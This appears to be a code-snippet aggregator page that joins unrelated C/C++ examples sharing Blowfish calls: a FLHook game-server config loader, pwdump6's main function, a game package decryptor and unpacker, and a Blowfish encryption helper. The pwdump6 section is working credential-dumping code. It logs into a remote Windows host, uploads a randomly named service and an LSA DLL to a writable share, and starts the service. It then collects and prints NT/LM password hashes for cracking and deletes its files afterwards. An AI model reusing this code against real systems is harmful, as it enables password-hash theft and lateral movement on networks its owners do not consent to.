	set_bBanAccountOnMatch = IniGetB(set_scCfgFile, "Bans", "BanAccountOnMatch", false);
	set_lstBans.clear();
	IniGetSection(set_scCfgFile, "Bans", lstValues);
	if(!lstValues.empty())
	{
		lstValues.pop_front();
		foreach(lstValues, INISECTIONVALUE, itisv)
			set_lstBans.push_back(stows(itisv->scKey));
	}

// help
	HkAddHelpEntry( L"/set diemsg", L"<visibility>", L"Sets your death message's visibility. Options: all, system, self, none.", L"", get_bUserCmdSetDieMsg );
	HkAddHelpEntry( L"/set diemsgsize", L"<size>", L"Sets your death message's text size. Options: small, default.", L"", get_bUserCmdSetDieMsgSize );
	HkAddHelpEntry( L"/set chatfont", L"<size> <style>", L"Sets your chat messages' font. Options are small, default or big for <size> and default, bold, italic or underline for <style>.", L"", get_bUserCmdSetChatFont );
	HkAddHelpEntry( L"/ignore", L"<charname> [<flags>]", L"Ignores all messages from the given character.", L"The possible flags are:\n p - only affect private chat\n i - <charname> may match partially\nExamples:\n\"/ignore SomeDude\" ignores all chatmessages from SomeDude\n\"/ignore PlayerX p\" ignores all private-chatmessages from PlayerX\n\"/ignore idiot i\" ignores all chatmessages from players whose charname contain \"idiot\" (e.g. \"[XYZ]IDIOT\", \"MrIdiot\", etc)\n\"/ignore Fool pi\" ignores all private-chatmessages from players whose charname contain \"fool\"", get_bUserCmdIgnore );
	HkAddHelpEntry( L"/ignoreid", L"<client-id> [<flags>]", L"Ignores all messages from the character with the associated client ID (see /id). Use the p flag to only affect private chat.", L"", get_bUserCmdIgnore );
	HkAddHelpEntry( L"/ignorelist", L"", L"Displays all currently ignored characters.", L"", get_bUserCmdIgnore );
	HkAddHelpEntry( L"/delignore", L"<id> [<id2> <id3> ...]", L"Removes the characters with the associated ignore ID (see /ignorelist) from the ignore list. * deletes all.", L"", get_bUserCmdIgnore );
	HkAddHelpEntry( L"/autobuy", L"<param> [<on/off>]", L"Auomatically buys the given elements upon docking. See detailed help for more information.", L"<param> can take one of the following values:\tinfo - display current autobuy-settings\n\tmissiles - enable/disable autobuy for missiles\n\ttorps - enable/disable autobuy for torpedos\n\tmines - enable/disable autobuy for mines\n\tcd - enable/disable autobuy for cruise disruptors\n\tcm - enable/disable autobuy for countermeasures\n\treload - enable/disable autobuy for nanobots/shield batteries\n\tall - enable/disable autobuy for all of the above\nExamples:\n\"/autobuy missiles on\" enable autobuy for missiles\n\"/autobuy all off\" completely disable autobuy\n\"/autobuy info\" show autobuy info", get_bAutoBuy );
	HkAddHelpEntry( L"/ids", L"", L"Lists all characters with their respective client IDs.", L"", get_bTrue );
	HkAddHelpEntry( L"/id", L"", L"Gives your own client ID.", L"", get_bTrue );
	HkAddHelpEntry( L"/i$", L"<client-id>", L"Invites the given client ID.", L"", get_bTrue );
	HkAddHelpEntry( L"/invite$", L"<client-id>", L"Invites the given client ID.", L"", get_bTrue );
	HkAddHelpEntry( L"/credits", L"", L"Displays FLHook's credits.", L"", get_bTrue );
	HkAddHelpEntry( L"/help", L"[<command>]", L"Displays the help screen. Giving a <command> gives detailed info for that command.", L"", get_bTrue );

	set_bLoadedSettings = true;
}
Esempio n. 14
0
int main(int argc, char* argv[])
{
	char c;
	int i;
    char errMsg[1024];
    FILE* outfile = stdout;
    SC_HANDLE hscm = NULL;
    SC_HANDLE hsvc = NULL;
	char* szWritableShare = NULL;
	char* szWritableSharePhysical = NULL;
    char machineName[MAX_PATH];
    char* machineArg;
    char resourceName[MAX_PATH];
	char szFullServicePath[MAX_PATH];
	char szRemoteServicePath[MAX_PATH];
	char szRemoteLsaExtPath[MAX_PATH];
	char szFullLocalServicePath[MAX_PATH];
	char szFullLocalLsaExtPath[MAX_PATH];
    char pwBuf[256];
    char* password = NULL;
    char* userName = NULL;
    char localPath[MAX_PATH];
	char szDestinationServicePath[MAX_PATH];
	char szDestinationDllPath[MAX_PATH];
	char* szSelectedShareName = NULL;
    char* varg[8];
	char dwLen;
	SERVICE_STATUS statusService;
	BOOL bSkipHistories = FALSE;
	char szGUIDServiceName[CHARS_IN_GUID + 1];
	char* szServiceFileName;
	char* szLsaExtFileName;
	bool bIs64Bit = false;
	ResourceLoader rlLsaExt, rlPwServ;
	char szCurrentDir[MAX_PATH];
	bool bIsLocalRun = false;
	bool setPasswordHash = false;

	//OutputDebugString("PWDump Starting");

	srand((unsigned int)time(NULL));
	pEncryptionKey = NULL;

    if(argc < 2)
    {
		Usage(argv[0]);
        return 0;
    }

	/*
	fprintf(stderr, "\npwdump6 Version %s by fizzgig and the mighty group at foofus.net\n", PWDUMP_VERSION);
	fprintf(stderr, "** THIS IS A BETA VERSION! YOU HAVE BEEN WARNED. **\n");
    fprintf(stderr, "Copyright 2009 foofus.net\n\n");
    fprintf(stderr, "This program is free software under the GNU\n");
    fprintf(stderr, "General Public License Version 2 (GNU GPL), you can redistribute it and/or\n");
    fprintf(stderr, "modify it under the terms of the GNU GPL, as published by the Free Software\n");
    fprintf(stderr, "Foundation.  NO WARRANTY, EXPRESSED OR IMPLIED, IS GRANTED WITH THIS\n");
    fprintf(stderr, "PROGRAM.  Please see the COPYING file included with this program\n");
    fprintf(stderr, "and the GNU GPL for further details.\n\n" );
	*/

	while ((c = getopt(argc, argv, "xnhu:o:p:s:i:")) != EOF)
	{
		switch(c)
		{
		case 'h':
			// Print help and exit
			Usage(argv[0]);
			return 0;
			break;
		case 'u':
			// Set the user name
            userName = optarg;
			break;
		case 'o':
			// Set the output file name - opened in Unicode
            outfile = fopen(optarg, "w, ccs=UTF-16LE");
            if(!outfile)
            {
                sprintf(errMsg, "Couldn't open %s for writing.\n", optarg);
                throw errMsg;
            }
			break;
		case 'p':
			// Set the password
			password = optarg;
			break;
		case 's':
			// Force this share to be used for uploading
			szSelectedShareName = optarg;
			break;
		case 'n':
			// Do not dump password histories
			bSkipHistories = true;
			break;
		case 'i':
			setPasswordHash = true;
			break;
		case 'x':
			// Target x64
			bIs64Bit = true;
			break;
		default:
			printf("Unrecognized option: %c\n", c);
			break;
		}
	}
	
	// At this point, should have optarg pointing to at least the machine name
	if (optarg == NULL)
	{
		// No machine
		fprintf(stderr, "No target specified\n\n");
		Usage(argv[0]);
		return 0;
	}

	machineArg = optarg;
    while(*machineArg == '\\') 
		machineArg++;

    sprintf(machineName, "\\\\%s", machineArg);

	if (stricmp(machineName, "\\\\localhost") == 0 || stricmp(machineName, "\\\\127.0.0.1") == 0 || 
		stricmp(machineName, "localhost") == 0 || stricmp(machineName, "127.0.0.1") == 0)
	{
		bIsLocalRun = true;
	}

	// Prompt for a password if a user but no password is specified
	if (password == NULL && userName != NULL)
	{
		i = 0;
		c = 0;
		fprintf(stderr, "Please enter the password > " );
		while(c != '\r')
		{
			c = _getch();
			pwBuf[i++] = c;
			_putch('*');
		}
		pwBuf[--i] = 0;
		_putch('\r');
		_putch('\n');

		password = (char*)pwBuf;
	}

	memset(resourceName, 0, MAX_PATH);
	memset(szFullLocalServicePath, 0, MAX_PATH);
	memset(szFullLocalLsaExtPath, 0, MAX_PATH);
	memset(szRemoteServicePath, 0, MAX_PATH);
	memset(szRemoteLsaExtPath, 0, MAX_PATH);
	memset(szDestinationServicePath, 0, MAX_PATH);
	memset(szDestinationDllPath, 0, MAX_PATH);

	if (GetCurrentDirectory(MAX_PATH, szCurrentDir) == 0)
	{
		// Can't get the current working dir?!?!? WTF?
		fprintf(stderr, "Unable to get the current working directory\n");
		return -1;
	}

	//printf("Current directory for pwdump is %s\n", szCurrentDir);

	szServiceFileName = (char*)malloc(MAX_PATH + 1);
	szLsaExtFileName = (char*)malloc(MAX_PATH + 1);

	// Generate a random name for the service (and file) and DLL
	if (!GetRandomName((char**)&szServiceFileName, 5, 10))
	{
		sprintf(errMsg, "Filename size mismatch\n");
		throw errMsg;
	}
	if (!GetRandomName((char**)&szLsaExtFileName, 5, 10))
	{
		sprintf(errMsg, "Filename size mismatch\n");
		throw errMsg;
	}

	sprintf(szFullLocalServicePath, "%s\\%s.exe", szCurrentDir, szServiceFileName);
	sprintf(szFullLocalLsaExtPath, "%s\\%s.dll", szCurrentDir, szLsaExtFileName);
	//sprintf(szFullLocalServicePath, "%s\\servpw.exe", szCurrentDir);
	//sprintf(szFullLocalLsaExtPath, "%s\\lsremora.dll", szCurrentDir);

	// Pull the resources out of the EXE and put them on the file system
	// We will use the resources appropriate to the target (32 vs. 64-bit)
	if (bIs64Bit)
	{
		rlLsaExt.UnpackResource(IDR_LSAEXT64, szFullLocalLsaExtPath);
		rlPwServ.UnpackResource(IDR_PWSERV64, szFullLocalServicePath);
	}
	else
	{
		rlLsaExt.UnpackResource(IDR_LSAEXT, szFullLocalLsaExtPath);
		rlPwServ.UnpackResource(IDR_PWSERV, szFullLocalServicePath);
	}

	// If we're running against the local machine, don't bother doing any of the networking stuff.
	// It actually prevents pwdump from running if networking is disabled.
	if (bIsLocalRun)
	{
		strncpy(szFullServicePath, szFullLocalServicePath, MAX_PATH);
		strncpy(szRemoteServicePath, szFullLocalServicePath, MAX_PATH);
		strncpy(szRemoteLsaExtPath, szFullLocalLsaExtPath, MAX_PATH);

		/*if (bIs64Bit)
			sprintf(szFullServicePath, "%s\\servpw64.exe", szCurrentDir);
		else
			sprintf(szFullServicePath, "%s\\servpw.exe", szCurrentDir);*/
	}
	else
	{
		try
		{
			// connect to machine
			NETRESOURCE rec;
			int rc;
			rec.dwType = RESOURCETYPE_DISK;
			rec.lpLocalName = NULL;
			rec.lpProvider = NULL;

			szWritableShare = (char*)malloc(MAX_PATH + 1);
			szWritableSharePhysical = (char*)malloc(MAX_PATH + 1);
			memset(szWritableShare, 0, MAX_PATH + 1);
			memset(szWritableSharePhysical, 0, MAX_PATH + 1);

			GetModuleFileName(NULL, localPath, MAX_PATH);
       
			if (szSelectedShareName == NULL)
			{
				// Need to establish a connection to enumerate shares sometimes
				sprintf(resourceName, "%s\\IPC$", machineName);
				rec.lpRemoteName = resourceName;
				rc = WNetAddConnection2(&rec, password, userName, 0);
				if(rc != ERROR_SUCCESS)
				{
					sprintf(errMsg, "Logon to %s failed: error %d\n", resourceName, rc);
					throw errMsg;
				}
				
				if (!GetAvailableWriteableShare(machineName, MAX_PATH, &szWritableSharePhysical, MAX_PATH, &szWritableShare))
				{
					sprintf(errMsg, "Unable to find writable share on %s\n", machineName);
					throw errMsg;
				}
			}
			else
			{
				// For a known share, connect first to establish a trusted connection, then get details about the share
				sprintf(resourceName, "%s\\%s", machineName, szSelectedShareName);
				rec.lpRemoteName = resourceName;
				rc = WNetAddConnection2(&rec, password, userName, 0);
				if(rc != ERROR_SUCCESS)
				{
					sprintf(errMsg, "Logon to %s failed: error %d\n", resourceName, rc);
					throw errMsg;
				}

				if (!CanUpload(resourceName))
				{
					sprintf(errMsg, "Failed to upload to the specified share on %s\n", machineName);
					throw errMsg;
				}

				if (!GetPhysicalPathForShare(machineName, szSelectedShareName, &szWritableSharePhysical, MAX_PATH))
				{
					sprintf(errMsg, "Failed to get the physical path for the specified share on %s\n", machineName);
					throw errMsg;
				}

				strncpy(szWritableShare, resourceName, MAX_PATH);
			}

			if (strlen(szWritableShare) <= 0 || strlen(szWritableSharePhysical) <= 0/* || strlen(szLocalDrive) <= 0*/)
			{
				sprintf(errMsg, "Unable to find a writable share on %s\n", machineName);
				throw errMsg;
			}

			sprintf(szRemoteServicePath, "%s\\%s.exe", szWritableSharePhysical, szServiceFileName);
			sprintf(szRemoteLsaExtPath, "%s\\%s.dll", szWritableSharePhysical, szLsaExtFileName);

			 // Copy dll file to remote machine
			/*strcpy(rDllname, szWritableShare);
			if (bIs64Bit)
			{
				strcpy(strrchr(localPath, '\\') + 1, "lsremora64.dll");
				strcat(rDllname, "\\lsremora64.dll");
			}
			else
			{
				strcpy(strrchr(localPath, '\\') + 1, "lsremora.dll");
				strcat(rDllname, "\\lsremora.dll");
			}*/

			strncpy(szDestinationServicePath, szWritableShare, MAX_PATH);
			strncat(szDestinationServicePath, "\\", 1);
			strncat(szDestinationServicePath, szServiceFileName, MAX_PATH);
			strncat(szDestinationServicePath, ".exe", 4);

			// Uh, why not just COPY the file rather than its stream?
			if (!CopyFile(szFullLocalServicePath, szDestinationServicePath, FALSE))
			{
				sprintf(errMsg, "Couldn't copy %s to destination %s. (Error %d)\n", szRemoteServicePath, szDestinationServicePath, GetLastError());
				throw errMsg;
			}

			// Copy the service file to remote machine
			/*if (bIs64Bit)
				strcpy(strrchr(localPath, '\\') + 1, "servpw64.exe");
			else
				strcpy(strrchr(localPath, '\\') + 1, "servpw.exe");

			strcpy(rExename, szWritableShare);
			strcat(rExename, "\\");
			strcat(rExename, szServiceFileName);
			strcat(rExename, ".exe");*/

			strncpy(szDestinationDllPath, szWritableShare, MAX_PATH);
			strncat(szDestinationDllPath, "\\", 1);
			strncat(szDestinationDllPath, szLsaExtFileName, MAX_PATH);
			strncat(szDestinationDllPath, ".dll", 4);

			if (!CopyFile(szFullLocalLsaExtPath, szDestinationDllPath, FALSE))
			{
				sprintf(errMsg, "Couldn't copy %s to destination %s.\n", szRemoteLsaExtPath, szDestinationDllPath);
				throw errMsg;
			}
		}
		catch(char* msg)
		{
			WNetCancelConnection2(resourceName, 0, false);

			if(msg) 
				printf(msg);
			
			if(outfile) 
				fclose(outfile);

			if (szWritableShare != NULL)
				free(szWritableShare);

			if (szWritableSharePhysical != NULL)
				free(szWritableSharePhysical);

#ifdef _DEBUG
			printf("Press return to exit...\n");
			scanf("...");
#endif
			return -1;
		}
	}

	try
	{
		// Need to create a guid for the pipe name
		memset(wszGUID, 0, CHARS_IN_GUID + 1);
		memset(szGUID, 0, CHARS_IN_GUID + 1);

		CoCreateGuid(&guidPipe);
		StringFromGUID2(guidPipe, wszGUID, CHARS_IN_GUID);
		wsprintf(szGUID, "%ls", wszGUID);

        // establish the service on remote machine
		if (!bIsLocalRun)
			hscm = OpenSCManager(machineName, NULL, SC_MANAGER_CREATE_SERVICE); // Remote service connection
		else
			hscm = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE); // Local service connection

        if(!hscm)
        {
            sprintf(errMsg, "Failed to open SCM\n");
            throw errMsg;
        }

 		CoCreateGuid(&guidPipe);
		StringFromGUID2(guidPipe, wszGUID, CHARS_IN_GUID);
		wsprintf(szGUIDServiceName, "%ls", wszGUID);
		
		// Give the service a GUID name
		//strncpy(szServiceFileName, "servpw", MAX_PATH);
		//printf("My service file name is: %s\n", szServiceFileName);
		hsvc = CreateService(hscm, szServiceFileName, szGUIDServiceName, SERVICE_ALL_ACCESS, 
                             SERVICE_WIN32_OWN_PROCESS, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE,
                             szRemoteServicePath, NULL, NULL, NULL, NULL, NULL);
        if(!hsvc)
        {
			int n = GetLastError();
            hsvc = OpenService(hscm, szServiceFileName, SERVICE_ALL_ACCESS);
            if(!hsvc)
            {
                sprintf(errMsg, "Failed to create service (%s/%s), error %d\n", szFullServicePath, szGUIDServiceName, GetLastError());
                throw errMsg;
            }
        }

	 	// Open named pipe
		hThread = _beginthreadex(NULL, 0, (unsigned (_stdcall *)(void *))NamedPipeThread, (void*)machineName, 0, (unsigned*)&nThreadID);
		if (hThread == NULL)
		{
            sprintf(errMsg, "Unable to create named pipe thread, error %d\n", GetLastError());
            throw errMsg;
		}

		// Create a 16 byte encryption key
		// ** THIS IS NOT A CRYPTOGRAPHICALLY STRONG SOLUTION!!!! **
		// You have been warned
		
		LARGE_INTEGER liSeed;
		
		pEncryptionKey = (BYTE*)malloc(16);
		for (i = 0; i < 16; i++)
		{
			QueryPerformanceCounter(&liSeed);
			srand(liSeed.LowPart);
			pEncryptionKey[i] = rand() & 0xff;

			// HACK FIX!!! //
			// Encryption breaks if there is a zero byte in the key //
			if (pEncryptionKey[i] == 0)
				pEncryptionKey[i] = 1;
			//pEncryptionKey[i] = 1;
		}

		// Set up service params. Need to set up a temporary char array so that
		// non-strings can be null-terminated.
		char szTemp1[2], szTemp2[2];

		memset(szTemp1, 0, 2);
		memset(szTemp2, 0, 2);

		dwLen = 16;
        varg[0] = szGUID;
		varg[1] = (char*)pEncryptionKey;
		varg[4] = szServiceFileName;
		varg[5] = szRemoteLsaExtPath;
		varg[6] = szCurrentDir;

		if (setPasswordHash) {
			varg[7] = "set";
		} else {
			varg[7] = "dump";
		}
		memcpy(szTemp1, &dwLen, 1);
		varg[2] = szTemp1;
		
		szTemp2[0] = (char)bSkipHistories;
		varg[3] = szTemp2;

		Blowfish_Init(&ctx, pEncryptionKey, dwLen);

		if(!StartService(hsvc, 8, (const char**)varg))
		{
            sprintf(errMsg, "Service start failed: %d (%s/%s)\n", GetLastError(), szRemoteServicePath, szGUIDServiceName);
            throw errMsg;
		}

        // when the executable is finished running, it can be deleted - clean up
		BOOL bRet;

        for(i = 0; ; i++)
        {
            if(i == 99)
                fprintf(stderr, "Waiting for remote service to terminate...\n");
            else if(i == 199)
                fprintf(stderr, "Servers with many user accounts can take several minutes\n");
            else if(i % 100 == 99)
                fprintf(stderr, ".");

            Sleep(100);

			if (szDestinationServicePath[0] != 0)
			{
				if(DeleteFile(szDestinationServicePath))
					break;
			}
			else
			{
				// If we're running locally, just query the service's status
				bRet = QueryServiceStatus(hsvc, &statusService);
				if (!bRet)
				{
					fprintf(stderr, "Unable to query service status. Something is wrong, please manually check the status of servpw\n");	
					break;
				}

				if (statusService.dwCurrentState == SERVICE_STOPPED)
					break;
			}
        }

        fprintf(stderr, "\n");

		if (szDestinationDllPath[0] != 0)
		{      
			if(!DeleteFile(szDestinationDllPath))
				fprintf(stderr, "Couldn't delete target executable from remote machine: %d\n", GetLastError());
		}

		WaitForSingleObject((void*)hThread, INFINITE);

		// Go through each structure and output the password data
		if (lpUserInfoArray == NULL)
		{
			printf("No data returned from the target host\n");
		}
		else
		{
			USERINFO* pTemp;
            wchar_t LMdata[40];
            wchar_t NTdata[40];
            wchar_t *p;
            int i;

			for (unsigned long index = 0; index < nUserInfoArraySize; index++)
			{
				pTemp = lpUserInfoArray + index;

				DWORD* dwdata = (DWORD*)(pTemp->cHash);

				// Get LM hash
                if((dwdata[4] == 0x35b4d3aa) && (dwdata[5] == 0xee0414b5) &&
                   (dwdata[6] == 0x35b4d3aa) && (dwdata[7] == 0xee0414b5))
				{
                    swprintf(LMdata, L"NO PASSWORD*********************");
				}
                else 
				{
					for(i = 16, p = LMdata; i < 32; i++, p += 2)
					{
						swprintf(p, L"%02X", pTemp->cHash[i] & 0xFF);
					}
				}

                // Get NT hash
                if((dwdata[0] == 0xe0cfd631) && (dwdata[1] == 0x31e96ad1) &&
                   (dwdata[2] == 0xd7593cb7) && (dwdata[3] == 0xc089c0e0))
				{
                    swprintf(NTdata, L"NO PASSWORD*********************");
				}
                else 
				{
					for(i = 0, p = NTdata; i < 16; i++, p += 2)
					{
						swprintf(p, L"%02X", pTemp->cHash[i]  & 0xFF);
					}
				}

                // display data in L0phtCrack-compatible format
				// Try converting data to Unicode
                fwprintf(outfile, L"%ls:%ls%ls\n", pTemp->wszUser, NTdata, LMdata);
			}
		}

        throw "Completed.\n";
    }

    // clean up
    catch(char* msg)
    {
		if (pEncryptionKey != NULL)
		{
			memset(pEncryptionKey, 0, 16);
			free(pEncryptionKey);
		}

		if (lpUserInfoArray != NULL)
			GlobalFree(lpUserInfoArray);

        if(hsvc)
        {
            DeleteService(hsvc);
            CloseServiceHandle(hsvc);
        }

        if(hscm) 
			CloseServiceHandle(hscm);
		
		if (resourceName[0] != 0)
			WNetCancelConnection2(resourceName, 0, false);

        if(msg) {
			// Do not print the completed message
        	if (strcmp(msg, "Completed.\n")) {
				printf(msg);
			}
		}
		
        if(outfile) 
			fclose(outfile);

		if (szWritableShare != NULL)
			free(szWritableShare);

		if (szWritableSharePhysical != NULL)
			free(szWritableSharePhysical);

	}

#ifdef _DEBUG
	printf("Press return to exit...\n");
	scanf("...");
#endif

    return 0;
}
Esempio n. 15
0
int pkg_load(const char* filename, char* key, int keyLen)
{
    BLOWFISH_CTX userEnc;
    BLOWFISH_CTX emuEnc;
    FileInfo* fi;
    int i;
    int len;
    FILE* f;
    
    f = fopen(filename, "rb");
    if (f == NULL) {
        return 0;
    }

    fseek(f, 0, SEEK_END);
    len = ftell(f);
    fseek(f, 0, SEEK_SET);
    if (len <= 0) {
        fclose(f);
        return 0;
    }

    pkg_buf = (char*)malloc(len);

    len = fread(pkg_buf, 1, len, f);
    if (len <= 0) {
        free(pkg_buf);
        pkg_buf = NULL;
        fclose(f);
        return 0;
    }

    fclose(f);

    // Decrypt using private emulator key
    Blowfish_Init(&emuEnc, (unsigned char*)AuthKey, (int)strlen(AuthKey));
    
    for (i = 0; i < len; i += 8) {
        unsigned long* l = (unsigned long*)(pkg_buf + i + 0);
        unsigned long* r = (unsigned long*)(pkg_buf + i + 4);

        Blowfish_Decrypt(&emuEnc, l, r);
    }

    // Decrypt using user key
    if (keyLen > 0) {
        Blowfish_Init(&userEnc, (unsigned char*)key, keyLen);
    }
    else {
        unsigned char val = 0;
        Blowfish_Init(&userEnc, &val, 1);
    }

    for (i = 0; i < len; i += 8) {
        unsigned long* l = (unsigned long*)(pkg_buf + i + 0);
        unsigned long* r = (unsigned long*)(pkg_buf + i + 4);

        Blowfish_Decrypt(&userEnc, l, r);
    }

    // Unsalt data
    for (i = 0; i < len - 8; i++) {
        pkg_buf[i] ^= pkg_buf[len - 8 + (i & 7)];
    }

    if (memcmp(pkg_buf, PKG_HDR, PKG_HDR_SIZE) != 0) {
        free(pkg_buf);
        pkg_buf = NULL;
        return 0;
    }

    fi = (FileInfo*)(pkg_buf + 16);

    while (fi->offset != 0) {
        printf("%d\t%d\t%s\n", fi->offset, fi->length, fi->path);
        fi++;
    }

    return 1;
}
Esempio n. 16
0
/* Main, of course. Checks arguments, sets up paths and handles, etc.
 */
int main(int argc, char *argv[]) {
    if(argc <= 1) {
        printf("lunpack: Unpacks files made by lpack. \n");
        printf("Usage: lunpack packfile.p [-b][-l] \n\n");
        printf("-b: Decrypt packfile contents using built-in Blowfish key. Do not use \n");
        printf("    with -l, as encrypted packfiles are not compressed. (the LZSS header \n");
        printf("    is just there for show). Looks in thmj3g.key for key content.\n");
        printf("-l: Decompress files using LLZSS.exe if available. Uses system(), which \n");
        printf("    slows the process down. Do not use this switch with .mus files, since \n");
        printf("    the data in them is already decompressed. Do not use this switch with \n");
        printf("    -b.\n");
        return EXIT_FAILURE;
    }
    
    if((strcpy(packname, argv[1]), (packfile = fopen(packname, "rb")) == NULL)) {
        printf("ERROR: %s could not be read or does not exist.\n", packname);
        return EXIT_FAILURE;
    }
    
    get_itemcount();
    check_magic();
    
    strcpy(outputfolder, packname);
    strtok(outputfolder, "."); // split off before first .
    if(strcmp(strtok(NULL, "."), "mus") == 0) { // check text after first .
        printf(".mus file detected, appending -music to folder name.\n");
        strcat(outputfolder, "-music");
    }
    
    if(argc >= 3) { // processing mode switch given
        if((strcmp(argv[2], "-l") == 0)) { // -l option specified, turn on decompression
            printf("-l switch given, decompressing files with LLZSS.exe.\n");
            using_decompressor = 1;
        } else if((strcmp(argv[2], "-b")) == 0) { // -b option specified, initialize Blowfish
            printf("-b switch given, decrypting files.\n");
            using_blowfish = 1;
            
            FILE *keyfile;
            keyfile = fopen("thmj3g.key", "rb"); // TODO: refactor out into commandline arg
            if(keyfile == NULL) {
                perror("  - KEYFILE ERROR: ");
                exit(EXIT_FAILURE);
            }
            fread(blowfish_key, sizeof(unsigned char), 56, keyfile);
            fclose(keyfile);
            
            Blowfish_Init(&cipher, blowfish_key, 56);
        } else { // invalid switch
            printf("Invalid processing mode, ignoring.\n");
        }
    }
    if(using_decompressor != 0 && access("LLZSS.exe", F_OK) == -1) {
        printf("LLZSS.exe missing, disabling decompression.\n");
        using_decompressor = 0;
    }
    
    if(errno == EACCES) {
        printf("ERROR: Could not create output folder %s.\n", outputfolder);
        return EXIT_FAILURE;
    }
    
    printf("Unpacking %s into %s/\n\n", packname, outputfolder);
    unpack_file();
    fclose(packfile);
    
    return EXIT_SUCCESS;
}
Esempio n. 17
0
int
encryption (char *key, unsigned char *plaintext_string, unsigned char *ciphertext_string, unsigned char *crypt64, int * ciphertext_len)
   {
	   BLOWFISH_CTX ctx;
	   int n;
	   int keylen = strlen(key);
	   int plaintext_len = strlen(plaintext_string);
	   unsigned long message_left;
	   unsigned long message_right;
	   int block_len;
           char * ciphertext_string_ori = ciphertext_string;

      	   *ciphertext_len = 0;

	   Blowfish_Init(&ctx, key, keylen);

	   while (plaintext_len)
	   {
		     message_left = message_right = 0UL;

		   /* crack the message string into a 64-bit block (ok, really two 32-bit blocks); pad with zeros if necessary */
		     for (block_len = 0; block_len < 4; block_len++)
		     {
			       message_left = message_left << 8;
			       if (plaintext_len)
			       {
				   message_left += *plaintext_string++;
				   plaintext_len--;
			       }
			       else message_left += 0;
		     }
		     for (block_len = 0; block_len < 4; block_len++)
		     {
			       message_right = message_right << 8;
			       if (plaintext_len)
			       {
				   message_right += *plaintext_string++;
				   plaintext_len--;
			       }
			       else message_right += 0;
		     }
          

		    /* encrypt and print the results */
		     Blowfish_Encrypt(&ctx, &message_left, &message_right);

		   /* save the results for decryption below */
		     *ciphertext_string++ = (unsigned char)(message_left >> 24);
		     *ciphertext_string++ = (unsigned char)(message_left >> 16);
		     *ciphertext_string++ = (unsigned char)(message_left >> 8);
		     *ciphertext_string++ = (unsigned char)message_left;
		     *ciphertext_string++ = (unsigned char)(message_right >> 24);
		     *ciphertext_string++ = (unsigned char)(message_right >> 16);
		     *ciphertext_string++ = (unsigned char)(message_right >> 8);
		     *ciphertext_string++ = (unsigned char)message_right;
		     *ciphertext_len += 8;		    
	    }

 	    encode_base64(*ciphertext_len, ciphertext_string_ori, crypt64 );

            return 0;

}